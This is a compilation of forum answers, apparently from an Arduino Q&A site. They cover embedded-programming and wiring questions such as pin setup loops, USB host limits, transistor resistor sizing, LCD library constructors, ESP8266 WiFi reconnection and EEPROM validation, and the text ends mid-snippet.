First, these statements:

if (buttonState = Buttons[0])

are doing an assignment, not a test for equality. You want:

if (buttonState == Buttons[0])
//               ^Notice

Next, pinMode takes two integers, but you are passing an array. You can use a loop to call pinMode multiple times:

for (int i = 0; i < sizeof(Buttons) / sizeof(Buttons[0]); i++) {
     pinMode(Buttons[i], INPUT);
}

Same goes for digitalRead(). You need to read the state for each button:

buttonState = digitalRead(Buttons[0]);
if (buttonState == HIGH) {
   ....
}
buttonState = digitalRead(Buttons[1]);
if (buttonState == HIGH) {
   ....
}
//etc


It looks like the Bluno only supports the Central and Peripheral roles (i.e. not the Broadcaster and Observer roles.) Keep in mind AT commands are a feature of the firmware, not the actual chip. As such, even if the chip supports a particular mode or role, that doesn't necessarily mean the firmware makes the feature available.


How to implement Arduino NANO as a RS-232 to USB adapter (Or do I need a Arduino Mega?) For 3D printer comms

Its not as easy as you think. An Arduino will not be enough for connecting the USB of the 3D printer. The USB protocol is strictly divided into slaves and masters. A USB(us) has exactly one master, which totally controls, what the slave can do. The slave itself cannot do much of its own.
Your 3D printer is a USB slave device. That enables a USB master (like a computer) to control it. The Arduino is also a USB slave device. If you connect both, you have a USB connection without a master. Nothing will happen. So you need to implement a USB master on the Arduino, which can handle the UART communication; all in software. That is generally possible, but I wouldn't recommend it. Also you definitely need extra hardware, because D+ and D- on USB are also electrically totally different from the TTL lines RX and TX (and also from the RS232 lines). They work differentially. So you need extra hardware to do that.
The easiest way with an Arduino would be to buy a USB host shield. With that you may be able to build, what you want.
But I would dispute, if this really makes sense. The cheapest USB host shield for Arduino, that I could find at amazon is around 10€, plus the price for an Arduino and the hassle of getting it all to work. A RaspberryPi Zero W only costs 10€. If you don't want to use wifi, you can add a USB to Ethernet adapter. And depending on the used software and its installation you might even be able to handle multiple printers with only one Pi (I use the Repertier Server, which has the ability to control multiple printers, I think). (Though depending on the number of printers and the resulting load you might wanna step up the game to a full Pi4)

There might be an additional way, depending on your printers. The printers microcontroller board might break the TX and RX pins out for you. Then you could connect the Arduino to them, no need for USB in that case. But that might not be an option. If the used microcontroller has a direct USB interface, there are no RX and TX pins to break out.


Arduino Nano no serial port for MacBook Air 2013

This solved it for me.

Download this driver
Install it
Run sudo nvram boot-args="kext-dev-mode=1"
Reboot

Serial ports now showed up in the Arduino IDE and also when I used ls -1 /dev/tty*

Hopes this helps someone.

Reference: This thread


i2c scanner stuck on scanning for my 0.96in OLED screen with my Arduino Nano

Is it a 3.3 V only OLED? I suppose its vcc(OLED)-3v3(Nano).
Most OLEDs use 3.3V -5V where sometimes the 3.3V from the Arduino is not sufficient.If its a 3.3V only OLED could you give the make of the OLED (does it have jumpers to change I2C address). Normaly the I2C scanner should return at least with nothing found.


It shouldn't be detected by Windows. You must install the software for your operating system here. Scroll down to Arduino 1.0.5 and click on windows. after installing, open up the Arduino IDE (it should be labeled "Arduino" on the desktop or start menu/screen). Plug in your board, and go to Tools> Serial Port. Select COM3. If it is grayed out, it has been auto-selected for you. The reason it won't work without the software is that the UNO and other Arduino boards don't have "true" USB. They basically emulate a serial port over an usb connection.


As per my understanding, the mouse has a microcontroller and a TTL serial converter which is programmed a certain way that enable computer's default mouse driver to understand the instructions coming from the connected device.

No, the mouse's microcontroller is a USB device.

  Like arduino send serial instructions to a port say COM3 and the driver which is a java program reads those instructions and performs accordingly.

No, that is the application you are talking about. The driver is what you install in Windows to make COM3 appear (that is, in any version of Windows before windows 10. Every other operating system, and Windows 10, has the driver built in already).

  Now what I want is when arduino connects to a computer it gets detected as a Joystick or as a pendrive or something like that.

There is no support for that in the Arduino API.

  I go through different header files of mouse and keyboard which are present in arduino library but those are very complex and without proper documentation hard to understand.

Even with proper documentation and understanding of how USB works it's hard to understand.

  Can you tell me where I could find study materiel regarding the existing library? Arduino website provides documentations only on different methods not on how it works.

  Or if I think of building my own library then how I should start?

Don't. Trying to do what you want without an in-depth understanding of how USB works is nigh on impossible.  I understand how USB works and struggle with writing USB driver code for microcontrollers.

Instead invest in a device that already does what you want (such as a Teensy 3.x), or move away from Arduino and use a professional environment with professional tools and examples to work with.

  One more thing where I can find the information regarding the protocols that a conventional device like mouse, keyboard, pendrive, CD-ROM follows during communication (like the code or the algorithm that is burn into the microcontroller of the device) ?

From the USB Implementer's Forum Inc.

http://www.usb.org/developers/docs/devclass_docs/

  Mouse or pendrive have a special type of microcontroller which are capable of direct communication to pc ? if so then is their any programmable microcontroller in market?

Yes, and there are plenty. Any of the Arduino boards based around the ATMega32U4 (such as the Leonardo) are that kind of microcontroller. The "serial" interface chip on the Uno is that kind of microcontroller (it is capable of being reprogrammed so it looks like a completely different device, and if you google around you will find people that have done it).

  What is the difference between actual driver and my java program which reads COM port?

The driver is what makes the COM port. Your program is what uses the COM port.

[USB device]---->[USB)- Driver -(COM3]<-----[Your program]


Erratic readings on Analogread with low voltages

You are almost certainly running into the noise floor for your setup. When your target signal is a very low voltage your signal to noise ratio (SNR) is small. Because it is the noise floor setting the ADC for better resolution didn't help much. There are many ways to deal with noise. If your signal is "slow" and your noise is random you can try oversampling. If the noise is from the power supply you can add filtering on the input to your sensor. If you have done those and still want to reduce noise more you can try adding shielding to your device/wires.


However, I want to control six servos using the shield area circled in red below. Could anyone provide the code to setup and control servos from the area circled in red?

With the limited amount of info you have provided about the shield this will have to be a wild guess. I am assuming that the pins are S(ignal), V(cc) and G(nd) for pins 8-13. On an Arduino Mega these can be used for PWM and therefore Servo control.

Include the Servo library, attach the pin and set the angle.

#include <Servo.h>

Servo servo[6];

void setup()
{
  ...
  for (int i = 0; i < 6; i++)
    servo[i].attach(8 + i);
  ...
}

void loop()
{
   ...
   servo[i].write(pos);
   ...
}

Cheers!

NB: Do not forget to provide the correct power supply. If USB Port is left, then the upper pin is positive and the lower pin negative.


How do I Read and Write data from a USB stick?

The Uno does not have any USB host or OTG capabilities on its own, and bit banging it is not easy. A USB Host shield, or a better microcontroller is needed.


I can not upload hex files outside of the Arduino IDE to my Pro Micro

Unlike the 328P and similar boards the 32U4 has no hardware method for triggering a reset to enter the bootloader.

On the boards with a UART -> USB interface the USB interface chip manually toggles the RESET pin to activate the bootloader. Without that chip a reset can't be done.

So a different method had to be invented. That method involves opening the serial port at 1200 baud and immediately closing it. That triggers a reboot into the bootloader.

The Arduino IDE manually performs that task when you press the upload button. It is not something that avrdude knows how to do.

So you will have to come up with some method of opening the serial port at 1200 baud immediately before running avrdude. Of course, it means the serial interface device disappears for a short while whilst the chip reboots and enters the bootloader, so you need to ensure you have a delay between the reset method and the call to avrdude - a delay that is long enough for your OS to redetect the chip, yet not so long that the bootloader times out.


How to convert a delimited string of hex numbers to an int array

You could store the hex numbers in a int array using strtok() and strtol().

char str[] = "00:AA:FF:7FFF";
int intArray[16]; // Maximum number of hex numbers.

void setup(){

  Serial.begin(9600);

  int counter = 0;
  char * pch = strtok(str, ":");

  while(pch != NULL){
    intArray[counter] = strtol(pch, NULL, 16);
    pch = strtok(NULL, ":");
    counter++;
  }
  Serial.print("Item Count = ");
  Serial.println(counter);

  for(int i = 0; i < counter; i++){
    Serial.println(intArray[i]);
  }

}

void loop(){}


What are the sizes of each primitive datatype on a Metro M4 Express SAMD51?

And that is the only difference in fundamental type sizes. On 8-bit Arduinos int is 16 bit and on 32-bit int is 32 bit.

short is 16 bit
long is 32 bit
long long is 64 bit

https://en.cppreference.com/w/cpp/language/types


I suggest that if the answer involves the Arduino, the question might be appropriate to this forum.

If you can mount your stepper motor in such a manner as to apply pressure to a force sensor, you may have a method to resolve your goal.

As the motor rotates, under normal conditions, pressure on the sensor will give you a baseline on which you can base your program for consideration of the amount of force involved.

Picture the motor mounted in the center of a circle, with cut-outs appropriate for the mounting bolts. On the outside of the circle, you would have suitable bearing surfaces to reduce rotational friction. From the motor circle platform, a lever pressing against a fixed point on the outside of the circle provides the contact points for the pressure sensor.

If you will be rotating the motor in both directions, perhaps a pair of sensors mounted to encase the lever would be suitable.

When the screw is new, clean and lubricated, you can collect pressure readings and establish a safe and comfortable range. Those numbers would be fixed into your code and measured during motor activity.

If the activity results in force outside the range, you can either stop or reverse the motor and have the same checks apply.

The logic and code is beyond my capability, but you'd have very few parameters to examine during operation.


How to interface an arduino to load sensor with darlington transistor?

What you have there is (or sounds like) a full wheatstone bridge.

You require either a special amplifier (such as the HX711) or a highly sensitive and accurate differential ADC (such as the MCP3428 - (on  a shield)).


Controlling voltage and current from chip?

You're misunderstanding what you need to drive a transistor.

A transistor will allow up to a specific amount of current through the collector depending on the current that flows through the base. If less is needed by the load then less will flow.

Think of it like a tap. If there's not much water pressure it doesn't matter how far you turn on the tap, after a certain point the flow of water won't increase any more.

To allow 60mA through the collector you need to provide at least 0.6mA (assuming a hFE of 100) through the base. That 0.6mA will set the upper limit of the current to 60mA. If you provide more than 0.6mA then you will allow a higher upper limit.

The 0.6V on the base is the voltage (difference between base and emitter when wired as "common emitter") at which current will start flowing through the base. It's the same concept as the forward voltage of an LED. For switching the voltage you put on the base must be more than 0.6V to allow current to start flowing. Since 5V is more than 0.6V you don't need to worry about it.  If you want precision in your calculations you will want to take that 0.6V into account, though.

So if you want at least 0.6mA from 5V with a 0.6V drop on the BE junction, you need:

R=V/I = (5 - 0.6) / 0.0006 = 7.3kΩ.

That's the maximum resistance you want. Anything more than that and the current through the base will limit the current through the collector to below the 60mA you want.  So you must select some resistance that is lower than that.

What value? Well, it really doesn't matter that much. The lower the value the higher the current, but at these levels the current levels you're dealing with will be minuscule anyway.

It's common to use a 1kΩ resistor in the base for a transistor when using it as a simple switch like you are.  That would give you, for each transistor:

I=V/R = (5 - 0.6) / 1000 = 4.4mA

For all 8 outputs that's a paltry 35.2mA. Far below the total the chip can provide of 70mA.

If you care about current consumption (you're running from batteries, for instance) you may want to increase to 4.7kΩ resistors to reduce the total drive current down to 7.5mA.


From my experience the esp8266's wifi is a little bit buggy sometimes. I'm not sure if it has something to do with the esp auto-connecting to known networks, but I managed to work-around this issue by explicitly WiFi.disconnect()ing from any potential network right before calling WiFi.begin().

Another thing that I noticed several times is that the esp can be easily disturbed when connected to a breadboard, in special when wifi is in use (in this case the esp might even crash). There must be some bad interferences, I guess.


Looks like you have it wired wrong.  A schematic would really help but it looks like you've got 5V going directly into the sensors data line (yellow wire) it's connected on your breadboard to the orange wire +5V.  The power wire of your temperature sensor (red wire) is running through a 4.7K resistor which is not likely what you wanted here either.


How to integrate nRF24L01 to esp8266 nodeMCU?

Your error is: .../packages/esp8266/hardware/esp8266/2.4.2/libraries/SPI/src/SPI.h:1:23: fatal error: SPI_Class.h: No such file or directory...

You have some wrong SPI library there. The original folder packages/esp8266/hardware/esp8266/2.4.2/libraries/SPI doesn't contain src subfolder.


Shortest time interval that Arduino Uno R3 can read

At 16MHz, the quickest operation that the cpu can do (a one cycle operation) will take 62.5 nanoseconds (1/(16*10^6) seconds). That means the best resolution you could conceivably have is 62.5 ns chunks. It will take considerably longer than one clock to respond to an outside event though, so making an experiment will be really tough even then.
Maybe you could build an experiment like the Fizeau apparatus where the arduino measured pulses of light that make it back through the slit? Those would be measured in microseconds. The arduino could change the speed of the grooved wheel and maximize the returning pulse width, reading the rpm then gives you the speed of light.
I'll note that since the meter is defined by the speed of light, and the foot defined by the meter, You would not be measuring the speed of light in feet or meters per second; you would be measuring the length of a meter given how long a second is, or vice versa.


Arduino Pro Mini name in CMakeList.txt in CLion

The problem here is that the Pro Mini comes in a number of variants for different voltages / speeds etc. The different variants are selected using a menu in the IDE.

CLion doesn't know about those menus, nor how to find the f_cpu from the right one for your board.

So there are two solutions:

Create your own board entry for the Pro Mini without the menu entries.
Use an earlier version of the IDE that has the Pro Mini boards as separate entries (basically any version before the menu system was created).

If you want the latest API then you will have to go route 1. That could be as simple as modifying the existing pro.* entries to remove the menu and replace that section with just the flags that are set by the correct menu (basically remove all the pro.menu.* entries except the ones for your board, then remove the menu.cpu.<whatever>. from each of the lines, as well as the entire menu entry name line.)

So you would basically change these lines:

## Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmega328
## -------------------------------------------------
pro.menu.cpu.16MHzatmega328=ATmega328 (5V, 16 MHz)

pro.menu.cpu.16MHzatmega328.upload.maximum_size=30720
pro.menu.cpu.16MHzatmega328.upload.maximum_data_size=2048
pro.menu.cpu.16MHzatmega328.upload.speed=57600

pro.menu.cpu.16MHzatmega328.bootloader.low_fuses=0xFF
pro.menu.cpu.16MHzatmega328.bootloader.high_fuses=0xDA
pro.menu.cpu.16MHzatmega328.bootloader.extended_fuses=0x05
pro.menu.cpu.16MHzatmega328.bootloader.file=atmega/ATmegaBOOT_168_atmega328.hex

pro.menu.cpu.16MHzatmega328.build.mcu=atmega328p
pro.menu.cpu.16MHzatmega328.build.f_cpu=16000000L

to this:

## Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmega328
## -------------------------------------------------
pro.upload.maximum_size=30720
pro.upload.maximum_data_size=2048
pro.upload.speed=57600

pro.bootloader.low_fuses=0xFF
pro.bootloader.high_fuses=0xDA
pro.bootloader.extended_fuses=0x05
pro.bootloader.file=atmega/ATmegaBOOT_168_atmega328.hex

pro.build.mcu=atmega328p
pro.build.f_cpu=16000000L

and delete all the other pro.menu entries.


.elf and .hex equivalency? (code, eeprom, fuses, and lock bits all in one)

My question is, if the two files are equivalent in case of using them for all-in-one programming. Is there any critical data stripping taking place between elf-to-hex conversion that could affect the actual programming?

Nothing critical, but data stripping does take place. Everything that is in the HEX file is in the ELF file. That is - all the compiled machine code and data.

Basically everything that gets written to the chip is in the HEX file, and the HEX file can be created from what is in the ELF file - ergo the ELF file contains everything that is in the HEX file.

However, not everything that is in the ELF file goes into the HEX file.

The ELF file contains a huge amount more information. Mostly that information is geared towards debugging. There are things like the names and locations of all the symbols in the code - that is, the functions and variables, etc. There are breakdowns of all the assembly instructions grouped by source code file and line number.

None of that is relevant for the Arduino environment, but when you're using professional tools to do your development you can use them for realtime debugging and tracing of your program while it's running on the real hardware.

None of that is relevant to putting your program on the chip. It's all used by the PC.


I changed it, so it at least compiles.
int ledPins[]={3,4,5,6,7,8,9,10,11,12};
void setup()
{
  for(int i=0; i < 11; i++)
  {
    pinMode(ledPins[i],OUTPUT);
  }
}

void loop()
{
  int i = 0;
  while (i < 10)
  {
    digitalWrite(ledPins[i],HIGH);
    delay(100);
    digitalWrite(ledPins[i],LOW);
    i++;
  }
  i = 10;
  while (i > 0)
  {
    digitalWrite(ledPins[i],HIGH);
    delay(100);
    digitalWrite(ledPins[i],LOW);
    i--;
  }
}


I haven't used that particular library but I have used the ddram and cgram as memory / buffets. So the feasibility is never in question.

The downside with this approach is speed and real estate. Those devices are slow by mcu standard. You then have to provision for the rw pin and the data pins - both read and writes. That's what you should check for in the library.

But it is workable for sure.


You could use the RELIC toolkit. It has PCB and they have scripts to compile for Due and Mega. I'm not sure if you could use this with Uno. But this library targets resource-constrained devices.


Are there any GPS data pusher for Arduino?

Check this shield out, it sounds almost exactly like what you need, plus it has OBD2 (CAN) access to log RPM, indicated speed, steering wheel angle, and whatever else your car exposes. You can get a GPS module from Sparkfun as well. Matter of fact, I'm using it in a very similar project, but development is paused until I upgrade to a Mega, since I've run out of RAM.

The shield comes with example code that's hacked together from other sources but it serves the demo purpose well.

As for pushing to a server--that'd be tougher. I would go the route of a Bluetooth shield and make a corresponding app for the phone that pushes the data.


Your loop conditions aren't quite right, which could be resulting in undefined behaviour. I highly doubt it would cause it to stop working spontaneously, but it's possible in theory.

In each loop that counts upwards, you basically need to stop before the counter reaches 8. For example:

for (byte i = 0; i<8; i++) ...

Note that it's i<8 instead of i<9.

The reason is that the array is only 8 elements long, so the indices run from 0 to 7 (inclusive). Currently, your loops are going all the way up to and including 8, which means it's trying to read past the end of your array.

You'll need to fix that in setup() and left().

The loop that goes downwards in right() is a little more difficult. At the moment, it runs through indices 8 to 1, meaning it has the same problem of reading past the array. However, it also never actually reaches index 0.

It's harder to fix because byte is an unsigned type, so you can't use i>=0 as your condition (as it will never terminate). Personally, I would rewrite the loop to count upwards, but then reverse the index order inside the loop, so that 0 becomes 7, and so on. For example:

for (byte i = 0; i<8; i++) {
    digitalWrite(led[7-i], HIGH);
    delay(50);
    digitalWrite(led[7-i], LOW);
}

Like I said, I doubt this will actually solve your problem. It's worth trying though.


Uno Wifi rev2 - after long time it disconnects

As you have not given the details there are some things to check

is your Nina-Firmware > 1.2.4
If not update to the latest 1.3.0 via the WiFi101-FirmwareUpdater-Plugin 0.10.10 is included in the ArduinoIDE 1.8.12 or greater
Disconnect before you reconnect (in case of router drop-outs) and
Close any connection before sending/receiving. This will free the socket on the Nina module. Stop the client after doing the stuff needed with   client.stop();
If there is any server connection code in setup this should be run in a reconnect routine (as you did not include setup) just as a hint
Make sure that after a certain period the while (status != WL_CONNECTED) and while (client.connected()) are broken and error testing takes place e.g. if (status==WL_DISCONNECTED || status==WL_CONNECTION_LOST){.. do something to change that ..}
If all fails implement a routine that checks the signal and restarts the sketch if the router has dropped out (for whatever reason).

Disconnect code:

void connectToWifi() {
    // This new line is required to disconnect the previous connection otherwise
    // it will try to use the old connection and never reconnect if the connection fails
    status = WiFi.disconnect();

    // attempt to connect to Wifi network:
    while (status != WL_CONNECTED) {
    .... REST of your code ...
    }
}

Hint (as you did not show setup) if you have something like

client.connect(server, 80);

move it to the reconnection routine in the form of

if (client.connect(server, 80)) {
    Serial.println("connecting...");
.... REST of reconnect ...
}

Restart code if wifi signal is lost

void(* resetFunc) (void) = 0; // Declare reset function at address 0

void loop() {
  if (WiFi.RSSI() == 0) // Checks if Wifi signal lost.
  { resetFunc(); // Calls Reset
  }
// Rest of code goes here.
}

This should altogether ensure a long and stable running client


How would I go about powering addressable RGB LED light strip? [Arduino Nano]

Would I require anything between the addressable RGB LED strip and the 12v power supply?

A suitable 5V regulator (assuming 5V LED strip)

  Would I require a 1000uF capacitor?

For what? A suitable 5V regulator won't need one. An unsuitable one would be improved by it, but still be unsuitable.


TCP or HTTP connection between web server and arduino

It's time you learned the OSI 7 layer model: PDNTSPA.

HTTP is a Presentation (protocol) that runs over a TCP Session.  If you are interacting with a web server then you will be opening a TCP socket and sending HTTP requests.

There is no other way of talking to a web server. It only speaks HTTP, and you can only connect to it through TCP.


Docs for using i2C LCD with Newliquidcrystal_1.3.5 library?

Often in software development, the code is the documentation. The merits of this are debated ad nauseam elsewhere.

As you have provided a link to the GitHub repository of the library you are using, you have all you need, though the provided utility/docs path doesn't fully document the I2C interface.

The function prototype (that is, the function, its return type, and parameters, but without the actual code) is found in header files which usually have the .h suffix.

Since you have an LCD with a I2C interface, you can look at the GitHub repo for the file LiquidCrystal_I2C.h

Within this file, you can see that the class is defined with name LiquidCrystal_I2C and has multiple constructors, each with a different list of parameters. The particular class constructor used is the one that matches the count and type called in your declaration of the object of that class.

The code in the header file is well documented. The first prototype listed includes good commenting:

/*!
    @method
    @abstract   Class constructor.
    @discussion Initializes class variables and defines the I2C address of the
    LCD. The constructor does not initialize the LCD.

    @param      lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO,
    the address can be configured using the on board jumpers.
    */
   LiquidCrystal_I2C (uint8_t lcd_Addr);
   // Constructor with backlight control
   LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);

This block shows the first 2 constructor options: With a uint8_t type that defines the I2C address of an I/O expansion module (which is what many "LCD backpacks" are -- that, or shift registers), and one with an I2C address, a backlight pin, and the polarity of the backlight.

Proceeding down, we find the one with 10 parameters, which is what you ended up using:

  /*!
    @method
    @abstract   Class constructor.
    @discussion Initializes class variables and defines the I2C address of the
    LCD. The constructor does not initialize the LCD.

    @param      lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO,
    the address can be configured using the on board jumpers.
    @param      En[in] LCD En (Enable) pin connected to the IO extender module
    @param      Rw[in] LCD Rw (Read/write) pin connected to the IO extender module
    @param      Rs[in] LCD Rs (Reset) pin connected to the IO extender module
    @param      d4[in] LCD data 0 pin map on IO extender module
    @param      d5[in] LCD data 1 pin map on IO extender module
    @param      d6[in] LCD data 2 pin map on IO extender module
    @param      d7[in] LCD data 3 pin map on IO extender module
    */
   LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
                     uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
   // Constructor with backlight control
   LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
                     uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
                     uint8_t backlighPin, t_backlighPol pol);

That last constructor is used to override the default pin mappings from the I/O Expander to the LCD. This is tricky -- what were the mappings based on? An I/O expander is basically a way to access multiple pins on an external chip through a single two-wire interface (I2C). How an LCD is connected depends on what pins of the I/O Expander are connected to which pins of the LCD. There is not a formal standard, though there may be convention.

Reading the GitHub page, you see that this is a

  Clone of the new liquid crystal library from: https://bitbucket.org/fmalpartida/new-liquidcrystal

Following that link takes us to some kind of documentation, noting that one of the connection types is:

  I2C IO bus expansion board with the PCF8574* I2C IO expander ASIC such as I2C LCD extra IO.

A link to that hardware is helpfully provided! We can follow the link to see that the hardware is discontinued, but helpfully documented with some schematics and PCB layouts that tell us which pins of the I/O expander are connected to which pins of the LCD:

P0 is pin 0 of the I/O expander -- the top row are the I/O expander pins. Vo, RS, R/W, etc. are the LCD pins.

LCD Pin  |  I/O Expander Pin
     En  |  P4
    R/W  |  P5
E (rst)  |  P6
     D4  |  P0
     D5  |  P1
     D6  |  P2
     D7  |  P3

(And the backlight is a passthrough pin, not on the I/O Expander. It appears the definition of the backlight pin and polarity refer to I/O Expander pins.)

This is the point where you have to find out if the I/O expander on your purchase has the same pinout as the product for which this library was written.

Your "working" instance is called as (with annotations to the constructor being called)

LiquidCrystal_I2C lcd(
  0x27,       // lcd_Addr
  2,          // En (enable pin)
  1,          // Rw (read/write pin)
  0,          // Rs (reset pin)
  4,          // d4 (data)
  5,          // d5 (data)
  6,          // d6 (data)
  7,          // d7 (data)
  3,          // backlight
  POSITIVE    // backlight polarity
);

This indicates that the I/O expander on your LCD does not have the same pin connections as that for which the library was written, which is why you had success only when remapping them in the constructor.

All that to just re-state the hair-pulling you had to do!

The actual functions available are noted to be:

  This library provides the same interface to applications as the LiquidCrystal library sourced by the Arduino SDK.

But to be absolutely sure, you can also see their prototypes in the header file: https://github.com/fmalpartida/New-LiquidCrystal/blob/master/LCD.h

It provides scrolling, blinking, enable/disable, etc.


Problem with Arduino Uno and SIM900 shield logical communication (rx & tx)

Use a logic level converter.

A logic level converter is a small device that converts between different logic levels, for example between 5V and 3.3V.

I am not affiliated with Sparkfun, I just think they are the most informative source.


Yes, it is possible in the 1.5.+ IDE. while not possible in the 1.0.+ and earlier.

Hardware-specification refers to both the boards.txt and platform.txt files.

in short the boards.txt file specifies...

uno.build.f_cpu=16000000L

and the platform.txt uses in the compile commands such as ...

 -DF_CPU={build.f_cpu}

You can your own. There is already a "build.extra_flags=" that some of the USB devices use to add their own FLAGs conditionally on the board type.


How to store firmware configuration or image in source-control?

For libraries only add comment next to #include with version number and author's name if the library is in Library Manager or the download location if it is not in Manager.

Example:

#include <MemoryFree.h> // https://github.com/mpflaga/Arduino-MemoryFree
#include <Ethernet.h> // Ethernet 2.00

Put NINA firmware version in some comment at the top of the main sketch file. The firmware is part of the Arduino boards package so no need to store it in your repo. If you modified the firmware, publish source code in your fork of the official repository and there you can then release the binary too.

Put public certificate keys and similar files in sketch folder in subfolder called extras or data.

And write a README file for your repository.


What is the maximum number of sensors that can be operated on a single Aurdino unit

Will the Aurdiuno uno ... buy an Aurdiuno mini?

The main differences between the uno and mini are:

footprint
6 (uno) vs 8 (mini) analog inputs

You will get two extra analog inputs and a much smaller size at the cost of the shield not fitting anymore.

  Now, I would like to run the following mechatronic devices: 3 bi-direction motors, 1 servo, 1 hall effect sensor (digital), 2 infra-red sensors, 1 magnetometer, 1 ultrasonic sensor, Will the Aurdiuno uno paired with the motor sheild be able to run these components?

According to the website the shield supports up to 4 motors or 5 servos, so i would guess that it would work.

if the shield can't do 3 motors and 1 servo at the same time, then you can just use the servo library and a pin for that.

The shield requires 3 pins to function; so you need 3 or 4 pins depending on configurations.

Inputs 1 digital, 4 analog; 1 Digital I\O, 1 Analog In

so it looks like you need 4-5 DIO pins and 4 analog pins, which the uno has so yes.

If you were using motor driver boards instead of a shield the cost would be

2x PWM per Motor/driver combo = 6 PWM
1 DIO for servo
1 DIO for digital input
4x Analog Inputs

Which also fits in the budget all 6 of the PWM DIO pins, + 2 more (leaving 6 of the 14) and 2/3rds of the analog pins (also good you can leave A3,4 alone since they share a timer and only use the other ones)


There are several possibilities.

Arduino GPIO pins drive outputs to ground or 5V.

The pins on the Nokia 5110 LCDs boards I have are not 5V tolerant. So you might have damaged them when the Arduino's GPIO connected to 5V.

A simple fix is to put a 10k ohm resistor in each signal path, i.e.

sce -- pin 7
rst -- pin 6
d/c -- pin 5
DN -- pin 4
sclk -- pin 8

You could get a level-shift chip, or build a circuit, but resistors are quick, cheap and easy.

I would strongly recommend using a very simple Arduino library to get the display working. Then, once everything is working, continue with your current approach. All you need is a simple test; something which turns pixels on and off to check that it works.

I have had good results with the Arduino Playground Philips PCD8544 (Nokia 3310) driver

I have several Nokia 5110's. A few needed the values loaded at initialisation to be tweaked, to make the display visible.

Specifically in void LcdInitialise(void):

  LcdWrite(LCD_C, 0x21 );  // LCD Extended Commands.
  LcdWrite(LCD_C, 0xB1 );  // Set LCD Vop (Contrast).
  LcdWrite(LCD_C, 0x04 );  // Set Temp coefficent. //0x04
  LcdWrite(LCD_C, 0x14 );  // LCD bias mode 1:48. //0x13
  LcdWrite(LCD_C, 0x20 );  // LCD Basic Commands
  LcdWrite(LCD_C, 0x0C );  // LCD in normal mode.

I have had to tweak Set Temp coefficent, LCD bias mode 1:48 and Set LCD Vop (Contrast) to get make the display clear, without looking washed-out, or all-dark. Using a very simple library like the Philips PCD8544 (Nokia 3310) driver should make it easy to adjust this until things work well.


I did not tried it out. But something like this might help to synchronize the inverted signals to the rising edge of the high frequent signal.
I removed the FDCSoffset delay, because it is negative according to the variables at the top.
// initialize CIState with 00
int CIState=B00000000;

// lines not shown .....

for( totalCnt=0; totalCnt<8000; totalCnt++ )
{
  CIState=CIState^B01000000;
  if(totalCnt%4==0)
  {
    CIState=CIState^B00100000;
  }
  // both signals are set at the same time
  PORTD=CIState;
  delayMicroseconds(PWus);
}


How to work with analog readings using RPi and Firmata?

It does not appear that Firmata has proceeded with the ability to change the analog reference source. You referenced one of the issues opened for it, but I don't see anywhere where it committed to the current master branch.

There's no way for an Arduino to read a voltage without some reference, and as you are experiencing, the default reference is Vcc. That means everything must be compared to Vcc, and if you compare Vcc to itself, you will always find out that Vcc is equal to Vcc.

The pull request to implement is here, so you could play around with it yourself.


NodeMCU does not boot up when GPIO pin is high

Certain pins of the ESP8266 perform special functions at bootup. GPIO15, when HIGH, makes the ESP8266 boot from an SD card.

You can read more about the special functions of the pins here.

The solution? Don't use GPIO 0, 2 or 15 for things that can affect the boot sequence.


Arduino randomly does incorrect addition

int only goes from -32768 to 32768, and rolls-over, as you've seen.
Use a long data type instead and you can go MUCH further from zero. Use double instead of float likewise, when you need more room. Be aware however that larger types use more RAM, and in the case of double, execute a bit slower as well.


Well, for example for doesn't have four parts but three

for (int i = 0; i ; 256; i++) // => for (int i = 0; i < 256; ++i)

Next one doesn't look much better:

for (int i = 255; i (&gt);= 0; --i) // =>  for (int i = 255; i >= 0; --i)

There might be more, but these are really obvious. Like you copied it from some website with some characters translated into the html entities.


So, the solution was very simple,
My pointer "url" received a constant null string with url=""; at the beginning. To initialize a string as null we need to make this :

 url[0] = '\0';

thanks


Value of uninitialized EEPROM in ESP8266?

Calculate a checksum for the data and store as part of the data. Recalculate the checksum when you read the (questionable) data back again. If the checksum fails, it's invalid. If it passes, the data is valid to some statistical level of confidence.

A 16-bit checksum would make false acceptance highly unlikely, but  make it long enough for your own comfort level. What would be the worst consequence of a false acceptance: inconvenience (user has to re-enter a number)? Loss of money or property? Loss of life? Choose the complexity of your solution accordingly.


You could use a small silicon serial chip like the Maxim DS2401 (http://pdfserv.maximintegrated.com/en/ds/DS2401.pdf)

An other method is to use good old dipswitches. That way you set each of your 'transmitter' to different address using the dipswitch. On boot the Arduino reads the switches to know it's address and uses that.


No. You can draw power from the 5v and VIN pins on the arduino. VIN is the completely unaltered input power before the regulator (it will be useless if regulated 5v is supplied directly). Outputting power is what the 5v pin is intended to be used for, not as a power input.

From the arduino website:

  5V. This pin outputs a regulated 5V from the regulator on the
  board. The board can be supplied with power either from the DC power
  jack (7 - 12V), the USB connector (5V), or the VIN pin of the board
  (7-12V). Supplying voltage via the 5V or 3.3V pins bypasses the
  regulator, and can damage your board. We don't advise it.


Recognition of the signal duration from the sensor

I don't see where you are even attempting to detect the long condition in your code.
First of all you need determine what constitutes a long vs. a short detection.  My recommendation is to write your code to do the following:

Initial detection.
Wait for your "short" interval.  If the detection is gone, then you know it was a "short" one and you can play your short music.
If the detection is still there, wait for the remainder of the time for your "long" detection.
If the detection is gone you know it was a "short" one since it didn't make it to the "long" state.  So play your "short" song.
Play your "long" music since the detection lasted for the duration of the long interval.

I'll leave the actual coding of that to you.  I'll also add that doing it this way, that is using the built-in delay() function is probably not the best approach overall.  The issue is that delay() blocks your loop() function and prevents you from doing anything else while it's delaying.
A better approach is to implement this as a state-machine coupled with an timer-driven interrupt.  That will give you much better control over your detections and also allow you do handle other inputs or set other outputs while you are waiting for detections to occur.
There are many resources online that discuss how to configure and handle AVR timers and their interrupts and there are also many resources discussing state machines and programming them in C.


I was able to find an answer though I'm not sure why it works. It comes down to adding WiFi.mode(WIFI_STA); in the setup, as in
void setup() {

